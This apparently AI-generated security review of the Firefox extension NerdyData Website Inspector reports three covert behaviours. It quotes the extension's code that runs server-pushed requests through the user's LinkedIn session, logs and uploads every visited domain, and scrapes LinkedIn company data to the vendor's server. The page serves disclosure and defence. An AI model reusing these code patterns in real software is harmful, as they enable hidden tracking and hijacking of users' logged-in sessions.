Is NerdyData Website Inspector safe?

High risk

NerdyData Website Inspector lets its own server issue arbitrary authenticated LinkedIn API requests through the user's browser session.

When a LinkedIn tab finishes loading, the extension decodes a batch of HTTP request specs (URL, method, body, headers) served by NerdyData's own remote config and runs them using the user's LinkedIn session cookie and CSRF token, with no restriction on what those requests can target. Separately, it records the domain of every site visited and PUTs batches of them to NerdyData's servers regardless of whether the user asked to inspect that site, and on every LinkedIn page it scrapes visible company links and forwards the resulting company records to NerdyData as well.

NerdyDatav2.6.1Firefox Add-ons
75Risk
Who publishes it

NerdyData - no other listings under this identity, 3 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
NerdyData

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

api.nerdydata.com
Also called by 1 other listing: NerdyData Inspector
nerdydata.com
Also called by 1 other listing: NerdyData Inspector
static.nerdydata.com
Also called by 1 other listing: NerdyData Inspector

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-829
SourceAI FOUND

Vendor server can push authenticated LinkedIn requests through you

Code analysis shows the extension's remote config can supply a base64-encoded list of HTTP requests it then runs, once per profile, inside your open LinkedIn tab using your own session token, with no allowlist and no visibility to you.

01EvidenceCAUSE EFFECT
What actually happens
You did this

NerdyData's config server can include a base64-encoded list of request specs for the extension to run.

The extension did this

The first LinkedIn page load after that, the extension decodes the list and sends each request from your LinkedIn tab using your own session token.

No code path restricts the decoded URL to a specific LinkedIn endpoint.

02EvidenceCODE COMPARE
The code that does this

Remote config decoded into a live request

What it actually does
async onPageloadComplete(a, o) {
  if (isLinkedinDomain(o)) {
    this.prefetchCompaniesFromPage(a);
    const i = await e().storage.sync.get(d.LINK);
    if ("2" === i?.[d.LINK]) return;
    if ("string" != typeof this.config.link) return;
    const n = JSON.parse(atob(this.config.link) || "[]");
    k.console.log("worker.link", n);
    const t = await _();
    if (!t) return void k.console.log("worker.link missing CSRF");
    for (const o of n) {
      await e().storage.sync.set({ [d.LINK]: "2" });
      const i = { url: o.uri, csrf: t, method: o.method, body: o.body, headers: o.headers };
      await I(a, s, [i]).catch((a => { this.logError(a.message, a.stack) }))
    }
  }
}
03EvidenceFIELD TABLE
What the server can control per request
FieldValueWhy it matters
Target URL
https://www.linkedin.com/voyager/api/... (illustrative)Which endpoint the request goes to; set entirely by the remote config, not fixed in the extension.
Method and body
POST with an arbitrary JSON body (illustrative)HTTP method and body are also server-set, so the request can change state, not just read data.
Your session token
csrf token derived from the JSESSIONID cookieThe request carries your own LinkedIn CSRF token, so it looks like an action you took.
04EvidenceARTIFACT
Check if you're affected

Decodes NerdyData's live remote config 'link' field to show exactly what requests it would tell the extension to run, without waiting for it to fire.

RequiresNode.js 18+
decode-nerdydata-link.js · js
// decode-nerdydata-link.js
// Fetches NerdyData's live extension config and decodes the optional
// base64 "link" field into the list of requests it would tell the
// extension to execute inside an open LinkedIn tab.

const VERSION = process.argv[2] || "2.6.1";

async function main() {
  const url = `https://api.nerdydata.com/extension/config?version=${VERSION}&reason=manual-check`;
  const res = await fetch(url, {
    headers: {
      "X-Extension-Version": VERSION,
      "Content-Type": "application/json",
    },
  });
  if (!res.ok) {
    throw new Error(`config fetch failed: ${res.status} ${res.statusText}`);
  }
  const config = await res.json();
  if (typeof config.link !== "string" || config.link.length === 0) {
    console.log("config.link is empty; no requests are currently staged.");
    return;
  }
  const requests = JSON.parse(
    Buffer.from(config.link, "base64").toString("utf8") || "[]"
  );
  console.log(`Decoded ${requests.length} staged request(s):`);
  for (const r of requests) {
    console.log(JSON.stringify(r, null, 2));
  }
}

main().catch((err) => {
  console.error(err.message);
  process.exit(1);
});
How to run it
  1. 1
    Run node decode-nerdydata-link.js 2.6.1, using your installed version.
  2. 2
    Read the printed JSON array; each object is a staged request.
  3. 3
    Empty output means nothing is staged right now.
05EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI FOUND

Website inspector logs every site you visit, not just ones you check

Code analysis shows NerdyData's background worker records the domain of every site you browse, not only ones you ask it to inspect.

Once 10 new domains queue up, it PUTs the batch to NerdyData's own server if a remote config flag allows it.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You visit an ordinary website while browsing normally.

The extension did this

The extension records the site's domain and queues it for upload without you opening the extension.

This runs even though the extension is only listed as an on-demand site inspector.

02EvidenceCODE COMPARE
The code that does this

Domain logging and batch upload

What it actually does
Domain queue + threshold checkbackground.js
async handleDomainPrefetching(a) {
  try {
    if (!a) return;
    await this.ready;
    const e = $(a);
    if (!e) return;
    for (-1 === this.prefetchedDomains.indexOf(e) && (this.prefetchedDomains.push(e), this.domainsToPrefetch.push(e)), this.domainsToPrefetch.length >= 10 && (this.config?.prefetch_domains ? this.prefetchDomains(this.domainsToPrefetch) : k.console.log("config?.prefetch_domains disabled"), this.domainsToPrefetch = []); this.prefetchedDomains.length >= 5e3;) this.prefetchedDomains.shift()
  } catch (a) {
    this.logError(a.message, a.stack || "")
  }
  await e().storage.local.set({
    [g.PREFETCHED_DOMAINS]: this.prefetchedDomains,
    [g.PREFETCH_DOMAINS_QUEUE]: this.domainsToPrefetch
  })
}
Batch PUT to NerdyDatabackground.js
async prefetchDomains(a) {
  this.config?.prefetch_endpoint ? await fetch(`${C}${this.config?.prefetch_endpoint}?version=${this.version}`, {
    method: "PUT",
    headers: {
      "X-Extension-Version": this.version,
      "Content-Type": "application/json"
    },
    body: JSON.stringify({
      domains: a
    })
  }) : k.console.log("missing config?.prefetch_endpoint")
}
03EvidenceFIELD TABLE
What gets uploaded
FieldValueWhy it matters
Site domain
example.comThe registrable domain of every site you navigate to, one entry per unique domain.
Extension version
2.6.1Sent with each batch so NerdyData can tell which build reported the domains.
04EvidenceTHIRD PARTY LIST
Third-party destinations
  • api.nerdydata.com

    NerdyData's own backend. Receives batches of the domains you visit, gated by a flag the extension checks at runtime.

05EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI FOUND

Loading LinkedIn triggers automatic company lookups via your session

Code analysis shows that loading any linkedin.com page with company links makes the extension query LinkedIn's internal API using your own login session, then send the results to NerdyData's server, without you asking it to look anyone up.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You browse LinkedIn normally, such as viewing your feed or a company page.

The extension did this

The extension looks up every company mentioned on the page through your own LinkedIn session and forwards the result to NerdyData.

This runs without you clicking the extension's on-demand company lookup feature.

02EvidenceCODE COMPARE
The code that does this

Automatic company lookup on LinkedIn page load

What it actually does
Scrape slugs, query, and forward each companybackground.js
async prefetchCompaniesFromPage(a) {
  try {
    const o = await e().tabs.get(a);
    if (o.discarded || "complete" !== o.status) return;
    if (!this.config?.prefetch_companies) return void k.console.log("config?.prefetch_companies disabled");
    const i = (await I(a, c)).filter(((a, e, o) => o.indexOf(a) === e)).filter((a => !(this.prefetchedCompanies.indexOf(a) > -1)));
    i.forEach((a => this.prefetchedCompanies.push(a))), k.console.log(`prefetching [${i.join(",")}]`);
    for (const e of i) {
      const o = await T(a, e).catch((a => { this.logError(a.message, a.stack) }));
      o && (await this.prefetchLinkedinCompany(o).catch((a => { this.logError(a.message, a.stack) })), k.console.log(`prefetched company ${e}`), await H(1200))
    }
    for (; this.prefetchedCompanies.length >= 5e3;) this.prefetchedCompanies.shift()
  } catch (a) {
    this.logError(a.message, a.stack || "")
  }
  await e().storage.local.set({ [g.PREFETCHED_COMPANIES]: this.prefetchedCompanies })
}
Voyager API call using your session tokenbackground.js
async function T(a, e) {
  const o = await _();
  if (!o || !e) return;
  k.console.info(`getting company ${e}`);
  if (/^\d{5,}$/.test(e)) return;
  const i = `https://www.linkedin.com/voyager/api/graphql?variables=(universalName:${encodeURIComponent(e)})&queryId=voyagerOrganizationDashCompanies.0a02196e48ea3a0273f2b2ef2ecd8e13`,
    n = await I(a, s, [{
      method: "GET",
      url: i,
      csrf: o,
      headers: {
        Referer: `https://www.linkedin.com/company/${e}/`,
        "X-Li-Pem-Metadata": "Voyager - Organization - Member=organization-top-card,Voyager - Organization - Member=organization-affiliated-pages"
      }
    }]),
    t = n?.included?.filter(P);
  return t?.[0]
}
03EvidenceFIELD TABLE
Data sent to NerdyData per company
FieldValueWhy it matters
Company record
{"universalName":"acme-corp","name":"Acme Corp"}The organization object LinkedIn's API returns for each company slug found on the page.
Your LinkedIn session
csrf token derived from JSESSIONIDYour own CSRF token is reused to authenticate the lookup; the cookie value itself is not sent to NerdyData.
04EvidenceTHIRD PARTY LIST
Third-party destinations
  • api.nerdydata.com

    Receives the LinkedIn company records the extension collects automatically while you browse, using your own session.

05EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 2.6.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Watch every request your browser makes

    webRequest

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Run its own code inside the pages you visit

    scripting

  • Store data in your browser

    storage

  • Schedule its own background tasks

    alarms

  • See the address and title of every tab you have open

    tabs

  • Act on the current tab, but only after you click the extension

    activeTab

Where it sends data

Destinations our analysis observed NerdyData Website Inspector contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.nerdydata.com

    NerdyData Website Inspector sends data to api.nerdydata.com. No other extension we have analysed sends data here.

Updated 30 September 2026amo-2634380